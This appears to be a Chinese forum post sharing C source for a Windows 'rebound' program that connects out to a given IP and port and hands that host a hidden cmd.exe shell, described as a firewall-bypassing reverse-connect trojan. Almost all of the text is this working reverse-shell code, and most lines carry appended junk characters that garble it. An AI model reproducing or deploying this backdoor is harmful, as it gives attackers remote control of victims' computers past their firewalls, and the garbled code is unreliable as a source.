这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .(/HU Qn
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/* ==============================
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Rebound port in Windows NT 4IW
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By wind,2006/7 y_>DszRN`u
===============================*/ +wz1kPRs
#include _<]0hC
#include (Zx--2lc
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#pragma comment(lib,"wsock32.lib") Lios1|5
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void OutputShell(); X9PbU1o;
SOCKET sClient; rMVcoO@3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i`52tH y_
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void main(int argc,char **argv) W\-`}{B_/
{ .h4NG4FIF
WSADATA stWsaData; 1.u^shc&|
int nRet; M]X!D7
SOCKADDR_IN stSaiClient,stSaiServer; ..h@QQ
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if(argc != 3) qi/k`T
{ ysi=}+F.
printf("Useage:\n\rRebound DestIP DestPort\n"); G11KAq(
return; gFuK/]gzI
} q_^yma
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WSAStartup(MAKEWORD(2,2),&stWsaData); TDZ==<C
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `%~}p7Zu
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stSaiClient.sin_family = AF_INET; _\yR/W~
stSaiClient.sin_port = htons(0); y|+5R5}K
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P<Z` 8a[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i`f!) 1
{ $DfK}CT
printf("Bind Socket Failed!\n"); gnzg(Y]5w
return; /~s<@<1!X
} ,[p pETz
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stSaiServer.sin_family = AF_INET; SIm1fC
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4~A$u^scn
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DazoY&AWE
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GK-P6d
{ %^E7Iqc
printf("Connect Error!"); OY(CB(2N
return; :sK4mR F
} M]k Q{(
OutputShell(); (
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} f U=P$s
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void OutputShell() &`s{-<t<L
{ 2 <OU)rVE4
char szBuff[1024]; 3rFku"zT$
SECURITY_ATTRIBUTES stSecurityAttributes; Dz$w6d
OSVERSIONINFO stOsversionInfo; 0+qC_ISns
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZY7-.
STARTUPINFO stStartupInfo; ,J+L_S+B~
char *szShell; qov<@FvE0
PROCESS_INFORMATION stProcessInformation; -0q|AB<
unsigned long lBytesRead; RLL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lr;ubBbT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t\QLj&h}E
stSecurityAttributes.lpSecurityDescriptor = 0; jyF*JQjK4
stSecurityAttributes.bInheritHandle = TRUE; toDi70o
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :+>7m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "XV@OjrE
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vOCaru?~h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R!/JZ@au<
stStartupInfo.wShowWindow = SW_HIDE; C[%&;\3S@
stStartupInfo.hStdInput = hReadPipe; ECM#J28D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yc9!JJMkH
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GetVersionEx(&stOsversionInfo); \hI?XnL#
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switch(stOsversionInfo.dwPlatformId) ami>Pp
{ 2uT6M%OC
case 1: |Fze9kZO
szShell = "command.com"; mT@Gf>}/A
break; (t&`m[>K
default: Jia@HrLR
szShell = "cmd.exe"; u=s,bt,"5
break; 8Vn
} KK>jV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Nlm}'Xt
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send(sClient,szMsg,77,0); ,%x2SyA
while(1) OOIp)=4
{ :+QNN<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {_.(,Z{
if(lBytesRead) (DvGA I
{ Cb<7?),vK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3l`"(5
send(sClient,szBuff,lBytesRead,0); M Tl
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} +&f_k@+
else v+sF0
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{ v_%6Ly
lBytesRead=recv(sClient,szBuff,1024,0); ZW"f*vwQo
if(lBytesRead<=0) break; yVn%Bz'
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X1oR
} 4mp)v*z
} [{xY3WS
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return; cC$YD]XdIA
}